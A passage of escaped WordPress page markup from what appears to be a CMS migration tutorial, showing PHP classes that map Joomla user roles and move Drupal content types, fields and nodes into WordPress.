class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute([<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$user[&#8216;username&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$user[&#8217;email&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$user[&#8216;password&#8217;], \/\/ Note: May need password rehashing<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$user[&#8216;registerDate&#8217;]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$userId = $this-&gt;wpDB-&gt;lastInsertId();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Set user role<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;setUserRole($userId, $wpRole);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function mapJoomlaRoleToWordPress($joomlaRole) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$roleMapping = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Super Users&#8217; =&gt; &#8216;administrator&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Administrator&#8217; =&gt; &#8216;administrator&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Manager&#8217; =&gt; &#8216;editor&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Author&#8217; =&gt; &#8216;author&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Editor&#8217; =&gt; &#8216;editor&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Publisher&#8217; =&gt; &#8216;editor&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Registered&#8217; =&gt; &#8216;subscriber&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $roleMapping[$joomlaRole] ?? &#8216;subscriber&#8217;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Drupal to WordPress Migration<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Drupal migrations are more complex due to its entity-field system:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Phase 1: Drupal Content Analysis<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ drupal-analyzer.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>class DrupalContentAnalyzer {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $drupalDB;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function analyzeContentTypes() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Get all content types<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$query = &#8220;SELECT type, name, description FROM node_type&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;drupalDB-&gt;prepare($query);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$contentTypes = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($contentTypes as $type) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &#8220;Content Type: {$type[&#8216;type&#8217;]} ({$type[&#8216;name&#8217;]})\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Analyze fields for this content type<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fields = $this-&gt;getContentTypeFields($type[&#8216;type&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($fields as $field) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &#8221;&nbsp; Field: {$field[&#8216;field_name&#8217;]} &#8211; {$field[&#8216;type&#8217;]}\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $contentTypes;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function getContentTypeFields($contentType) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$query = &#8220;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT DISTINCT<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fci.field_name,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fc.type,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fc.data<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FROM field_config_instance fci<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JOIN field_config fc ON fci.field_name = fc.field_name<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE fci.bundle = ?<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AND fci.entity_type = &#8216;node&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;drupalDB-&gt;prepare($query);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute([$contentType]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function generateMigrationPlan($contentTypes) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plan = [];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($contentTypes as $type) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fields = $this-&gt;getContentTypeFields($type[&#8216;type&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plan[$type[&#8216;type&#8217;]] = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;wp_post_type&#8217; =&gt; $this-&gt;suggestWordPressPostType($type[&#8216;type&#8217;]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;fields&#8217; =&gt; [],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;migration_method&#8217; =&gt; &#8216;custom&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($fields as $field) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plan[$type[&#8216;type&#8217;]][&#8216;fields&#8217;][$field[&#8216;field_name&#8217;]] = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;drupal_type&#8217; =&gt; $field[&#8216;type&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;wp_equivalent&#8217; =&gt; $this-&gt;mapFieldType($field[&#8216;type&#8217;]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;migration_method&#8217; =&gt; $this-&gt;getFieldMigrationMethod($field[&#8216;type&#8217;])<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $plan;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function mapFieldType($drupalFieldType) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fieldMapping = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;text&#8217; =&gt; &#8216;post_content&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;text_long&#8217; =&gt; &#8216;post_content&#8217;,&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;text_with_summary&#8217; =&gt; &#8216;post_content&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;image&#8217; =&gt; &#8216;featured_image&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;file&#8217; =&gt; &#8216;attachment&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;taxonomy_term_reference&#8217; =&gt; &#8216;category\/tag&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;entityreference&#8217; =&gt; &#8216;post_relationship&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;link_field&#8217; =&gt; &#8216;custom_field&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;date&#8217; =&gt; &#8216;custom_field&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;datetime&#8217; =&gt; &#8216;custom_field&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $fieldMapping[$drupalFieldType] ?? &#8216;custom_field&#8217;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Phase 2: Advanced Drupal Content Migration<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ drupal-migrator.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>class DrupalToWordPressMigrator {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $drupalDB;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $wpDB;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function migrateNodes($contentType, $wpPostType = &#8216;post&#8217;) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$query = &#8220;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n.nid,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n.title,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n.status,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n.created,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n.changed,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n.uid,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nr.body_value,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nr.body_summary,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ua.alias<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FROM node n<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LEFT JOIN field_revision_body nr ON n.nid = nr.entity_id AND n.vid = nr.revision_id<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LEFT JOIN url_alias ua ON ua.source = CONCAT(&#8216;node\/&#8217;, n.nid)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE n.type = ?<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ORDER BY n.nid<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;drupalDB-&gt;prepare($query);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute([$contentType]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$nodes = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($nodes as $node) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;migrateNode($node, $wpPostType);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return count($nodes);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function migrateNode($node, $wpPostType) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = 